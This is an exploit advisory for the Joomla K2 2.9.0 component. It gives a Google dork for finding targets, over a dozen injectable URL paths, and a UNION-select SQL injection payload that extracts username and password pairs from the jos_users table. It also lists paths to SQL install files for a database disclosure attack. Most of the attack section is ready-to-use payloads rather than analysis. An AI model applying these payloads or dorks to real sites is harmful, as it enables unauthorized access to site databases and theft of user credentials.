Joomla K2 2.9.0 Database Disclosure / SQL Injection

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# Exploit Title : Joomla K2 Components 2.9.0 SQL Injection / Database Disclosure  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 04/02/2019  
# Vendor Homepage : getk2.org  
# Software Download Link : getk2.org/downloads/?f=K2_v2.9.0.zip  
# Software Information Link : extensions.joomla.org/extension/k2/  
# Software Version : 2.9.0 and previous versions.  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Google Dorks : inurl:''/index.php?option=com_k2''  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
# Old Similar CVE [ Only Version is Different ] : CVE-2009-2395  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
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# Description about Software :  
***************************  
The powerful award-winning content extension for Joomla with   
  
more than 3 million downloads (and counting)!  
  
K2 provides an out-of-the box integrated solution featuring rich content forms   
  
for items (think of Joomla articles with additional fields for article images, videos,  
  
image galleries and attachments), nested-level categories, tags, comments,   
  
a system to extend the item base form with additional fields (similar to CCK   
  
for those acquainted with Drupal), a powerful plugin API to extend item,   
  
category and user forms, ACL, frontend editing, sub-templates & a lot more!  
  
Using K2, you can transform your Joomla website to a news/magazine site   
  
with author blogs, product catalogs, work portfolio, knowledge base,   
  
download/document manager, directory listing, event listing & more,   
  
all this bundled under one package!  
  
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# Impact :  
***********  
Joomla K2 2.9.0 component for Joomla and other previous versions is prone  
  
to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied   
  
data before using it in an SQL query.   
  
Exploiting this issue could allow an attacker to compromise the application,   
  
access or modify data, or exploit latent vulnerabilities in the underlying database.  
  
A remote attacker can send a specially crafted request to the vulnerable application   
  
and execute arbitrary SQL commands in application`s database.  
  
Further exploitation of this vulnerability may result in unauthorized data manipulation.  
  
An attacker can exploit this issue using a browser.  
  
* This Software prone to an information exposure/database disclosure vulnerability.   
  
Successful exploits of this issue may allow an attacker to obtain sensitive   
  
information by downloading the full contents of the application's database.  
  
* Any remote user may download the database files and gain access  
  
to sensitive information including unencrypted authentication credentials.  
  
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# SQL Injection Exploit :  
**********************  
  
/index.php?option=com_k2&view=itemlist&category=[SQL Injection]  
  
/index.php/component/users/?option=com_k2&view=itemlist&task=user&id=[SQL Injection]  
  
/index.php?option=com_k2&view=itemlist&task=category&id=[ID-NUMBER]:video&Itemid=[SQL Injection]  
  
/index.php?option=com_k2&view=itemlist&task=user&id=[SQL Injection]  
  
/index.php?option=com_k2&view=item&layout=item&id=[SQLi]&Itemid=[SQL Injection]&lang=en  
  
/index.php?option=com_k2store&view=checkout&task=getCountry&=[SQL Injection]  
  
/index.php?option=com_k2&view=item&layout=item&id=[ID-NUMBER]&Itemid=[SQL Injection]  
  
/index.php?option=com_k2&view=itemlist&task=user&id=[ID-NUMBER][TOPIC-NAME]&Itemid=[SQL Injection]  
  
/index.php?option=com_k2&view=item&id=[ID-NUMBER]:[TOPIC-NAME]&tmpl=component&print=[SQL Injection]  
  
/index.php?option=com_k2&view=item&layout=item&id=[ID-NUMBER]&Itemid=[SQL Injection]  
  
/index.php?option=com_k2&view=itemlist&task=tag&tag=[TAG-NAME-HERE]&Itemid=[SQL Injection]  
  
/index.php?option=com_k2&view=itemlist&task=tag&tag=[TAG-NAME-HERE]&format=feed&type=atom&Itemid=[SQL Injection]  
  
/index.php?option=com_k2&view=itemlist&task=date&year=[YEAR]&month=[MONTH]&day=[DAY]&Itemid=[ID-NUMBER]&limitstart=[SQL Injection]  
  
# Example SQL Injection Payload :  
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null'+and+1=2+union+select+1,concat(username,0x3a,password)KingSkrupellos,3,4,5,6,7,8,9,10,11,12,13,14+from+jos_users/*  
  
null'+and+1=2+union+select+1,concat(username,0x3a,password)KingSkrupellos,3,4,5,6,7,8,9,10,11,12,13,14+from+jos_users/*  
  
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# Database Disclosure Exploit :  
***************************  
  
/administrator/components/com_k2/install.mysql.sql  
  
/administrator/components/com_k2/uninstall.mysql.sql  
  
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
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